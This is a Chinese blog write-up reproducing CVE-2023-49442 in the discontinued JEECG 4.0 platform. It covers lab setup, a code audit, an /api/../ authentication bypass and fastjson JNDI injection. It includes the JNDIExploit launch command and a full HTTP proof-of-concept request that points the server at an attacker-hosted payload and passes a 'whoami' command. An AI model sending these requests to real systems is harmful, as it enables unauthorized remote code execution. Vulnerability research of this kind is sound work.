CVE-2023-49442 利用分析

1. 漏洞介绍

​ JEECG(J2EE Code Generation) 是开源的代码生成平台，目前官方已停止维护。JEECG 4.0及之前版本中，由于/api接口鉴权时未过滤路径遍历，攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest 接口进行jndi注入攻击实现远程代码执行。注：Jeecg 与 Jeecg-boot 非相同应用。Jeccg官方地址为：https://gitee.com/jeecg/jeecg

2. 漏洞流程图分析

image-20240218182545994

3. 环境搭建

​ 由于版本比较老，是19年8月的项目，我就直接按照官方文档进行搭建了，期间我尝试使用IDEA+Maven搭建，但是始终飘红报错，于是老老实实地按照官方文档使用eclipse+Maven环境搭建，我的本地配置如下：

​ 官方文档写的比较详细我就不再赘述了：http://idoc.jeecg.com/1275933

  • 最新版eclipse
  • apache-maven-3.1.1-bin
  • JDK1.8_102（这里有个坑就是jdk1.8不能与tomcat6兼容，我们运行时候要使用tomcat7:run的命令）
  • Mysql5.7
  • Kali虚拟机（充当vps的功能）

4. 漏洞详情分析

​ 由于这个项目已经是19年更新的了，我们去查看使用的fastjson版本发现是1.2.31，是属于存在漏洞的版本。

image-20240218140437413

​ 感觉Eclipse审计起来不太方便，我使用IDEA来代替使用来审计。

​ 现在我们已确定了Fastjson版本存在问题，进一步寻找触发Fastjson的漏洞点。

​ 在审计Fastjson漏洞的时候我们着重关注parseObject和parse这两个关键词。我们在IDEA中按下Ctrl+shift+f进行查找：

image-20240218141505196

​ 发现调用了JSONObject.parseObject(result)，发现全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java文件中进行了调用。分别是函数sendGet(String url, String param)以及sendPost(String url, String param)。

​ 然后继续寻找在哪里调用了这两个函数：

​ 同样的方法，发现在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java中调用了这两个函数：

	/*** 常用示例Demo:接口测试* @param request* @param response* @return AjaxJson*/@RequestMapping(params = "interfaceTest")@ResponseBodypublic AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {AjaxJson j=new AjaxJson();try {String serverUrl = request.getParameter("serverUrl");//请求的地址String requestBody = request.getParameter("requestBody");//请求的参数String requestMethod = request.getParameter("requestMethod");//请求的方式if(requestMethod.equals("POST")){if(requestBody !=""){logger.info("----请求接口开始-----");JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);logger.info("----请求接口结束-----"+sendPost);j.setSuccess(true);j.setObj(sendPost.toJSONString());}else{j.setSuccess(false);j.setObj("请填写请求参数");}}if(requestMethod.equals("GET")){logger.info("----请求接口开始-----");JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);logger.info("----请求接口结束-----"+sendGet.toJSONString());j.setSuccess(true);j.setObj(sendGet);}} catch (Exception e) {j.setSuccess(false);j.setObj("服务器请求失败");e.printStackTrace();}return j;}

​ 这段代码接受三个参数：serverUrl、requestBody、requestMethod。然后根据requestMethod的值决定调用不同的方法：HttpRequest.sendPost 或 HttpRequest.sendGet。

​ 我们直接发包访问该接口会鉴权被检测到没有登录，直接302跳转，我们得想办法bypass：

image-20240218142440207

​ 然后我们根据漏洞简介定位/api未鉴权接口代码：src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java

image-20240218172256215

​ 也就是说对于以 /api/ 开头的请求路径，即使用户未登录，也会被允许访问，不会被拦截器拦截。

帮助网安学习，全套资料S信免费领取：
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP客户端安全检测指南（安卓+IOS）

​ 加上我们查看引用的Maven依赖中的alwaysUseFullPath为值默认false，这样的话程序在处理发包中会对uri进行标准化处理。于是我们就可以使用/api/../的方式来进行bypass

​ image-20240218173310212

​ 比如说我们的poc链接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest= 然后进行标准化处理后就会变成/jeecg/jeecgFormDemoController.do?interfaceTest= 从而绕过登录限制。

image-20240218173450039

​ 然后就是针对fastjson1.2.31版本的漏洞利用了，这里我使用了集成的工具JNDIExploit-1.4-SNAPSHOT

​ 利用方法就是先在我们的Kali虚拟机（vps作用）上开启监听:

​ 这里因为我的虚拟机上的java版本过高，Java 9及以上版本引入了模块化系统，其中的java.xml模块不会默认导出com.sun.org.apache.xalan.internal.xsltc.runtime包，因此导致com.feihong.ldap.template.TomcatEchoTemplate类无法访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类。所以通过命令行参数--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED来向模块java.xml添加导出指令，使得com.sun.org.apache.xalan.internal.xsltc.runtime包能够被未命名模块（ALL-UNNAMED）访问。

java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131

image-20240218173929316

​ 然后用python公开一个poc.txt

image-20240218174239370

​ 然后直接调用该接口使用下面的Poc即可:

POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
cmd: whoamiserverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET

image-20240218180819983

5. 总结

​ 一开始准备复现这个漏洞是以为JEECG-BOOT爆这么大的前台RCE漏洞了，后面发现原来是19年的停止维护的版本。整个复现流程下来不算轻松，主要是老版本的环境Debug问题，通过本漏洞的复现学习，对fastjson漏洞和alwaysUseFullPath绕过鉴权漏洞有了更多的体会。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/540346.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

用连续自然数之和来表达整数 - 华为OD统一考试(C卷)

用连续自然数之和来表达整数 - 华为OD统一考试(C卷)

OD统一考试（C卷） 分值： 100分 题解： Java / Python / C 题目描述 一个整数可以由连续的自然数之和来表示。给定一个整数，计算该整数有几种连续自然数之和的表达式，且打印出每种表达式。 输入描述 一个目…
阅读更多...
翻转时钟效果

翻转时钟效果

时分秒三个部分结构功能完全一致&#xff0c;均有四块构成&#xff0c;上下各两块。 正面可见&#xff0c;背面不可见&#xff0c;同时需要调整翻转过程中的z-index。 初始状态card2为已经翻转状态。 calendar.html <!DOCTYPE html> <html lang"en">&…
阅读更多...
【算法】一类支持向量机OC-SVM（1）

【算法】一类支持向量机OC-SVM（1）

【算法】一类支持向量机OC-SVM 前言一类支持向量机OC-SVM 概念介绍示例编写数据集创建实现一类支持向量机OC-SVM完整的示例输出 前言 由于之前毕设期间主要的工具就是支持向量机&#xff0c;从基础的回归和分类到后来的优化&#xff0c;在接触到支持向量机还有一类支持向量机的…
阅读更多...
幸福金龄会携手广东文艺团队共谱文化新篇章《锦绣中华》第二届中老年文旅展演盛大开幕

幸福金龄会携手广东文艺团队共谱文化新篇章《锦绣中华》第二届中老年文旅展演盛大开幕

近日&#xff0c;幸福金龄会携手广东省各支文艺团队及艺术家&#xff0c;开启了《锦绣中华》第二届中老年文旅游活动。此次活动得到了各大媒体对于老年旅游服务的深度关注&#xff0c;并获得了各地文旅企业的热情配合&#xff0c;共同为中老年朋友们打造了一场文化盛宴。 近期&…
阅读更多...
01、JS实现：去除数组中重复项的算法之一

01、JS实现：去除数组中重复项的算法之一

数组去除重复项的算法&#xff1a; Ⅰ、删除排序数组中的重复项(注意&#xff1a;是已经排好序的)&#xff1a;1、题目描述&#xff1a;2、解题思路&#xff1a;3、实现代码&#xff1a; Ⅳ、小结&#xff1a; Ⅰ、删除排序数组中的重复项(注意&#xff1a;是已经排好序的)&…
阅读更多...
OJ_八皇后

OJ_八皇后

题干 C实现 深度优先遍历&#xff0c;注意回溯打表法&#xff1a;先求出所有解&#xff0c;再存入一个容器中 #define _CRT_SECURE_NO_WARNINGS#include <iostream> #include <vector>using namespace std;vector<vector<int>> queenVec;//用来存在所…
阅读更多...
基于SpringBoot+Vue的电商应用系统的设计与实现

基于SpringBoot+Vue的电商应用系统的设计与实现

1 绪论 1.1研究背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0c;规范化管理。这样的大环境让那些止步不前&…
阅读更多...
梵宁教育是诈骗机构吗？是否存在坑人行为

梵宁教育是诈骗机构吗？是否存在坑人行为

近日&#xff0c;注意到网络上出现了一些关于梵宁教育涉嫌诈骗及虚假宣传的言论&#xff0c;这些言论严重损害了梵宁教育的声誉和形象。在此&#xff0c;我们郑重声明&#xff1a;梵宁教育始终坚守诚信原则&#xff0c;从未进行过任何诈骗或虚假宣传行为。 梵宁教育自成立以来&…
阅读更多...
损失函数和反向传播

损失函数和反向传播

1. 损失函数的基础 import torch from torch.nn import L1Loss from torch import nninputs torch.tensor([1, 2, 3], dtypetorch.float32) targets torch.tensor([1, 2, 5], dtypetorch.float32)inputs torch.reshape(inputs, (1, 1, 1, 3)) targets torch.reshape(targe…
阅读更多...
基于SSM+Vue的龙腾公司员工信息管理系统设计与实现

基于SSM+Vue的龙腾公司员工信息管理系统设计与实现

​ 1 绪论 1.1研究背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0c;规范化管理。这样的大环境让那些止步不前&a…
阅读更多...
分享几套ArcGIS和CAD的三调符号库和使用

分享几套ArcGIS和CAD的三调符号库和使用

在粉丝群中呢&#xff0c;一直有朋友需要三调的符号库。今天就分享几套供大家学习使用&#xff01; 这次符号库有ArcGIS和CAD的&#xff0c;使用方法可参考我们的课程学习。 分享的三调符号库&#xff0c;也是粉丝群中收集的&#xff0c;分享给大家。符号库的质量还请大家自我斟…
阅读更多...
Python·算法·每日一题（3月15日）合并两个有序链表

Python·算法·每日一题（3月15日）合并两个有序链表

题目 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例 示例 1&#xff1a; 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4]示例 2&#xff1a; 输入&#xff1a;l1 [], l2 [] 输出&am…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023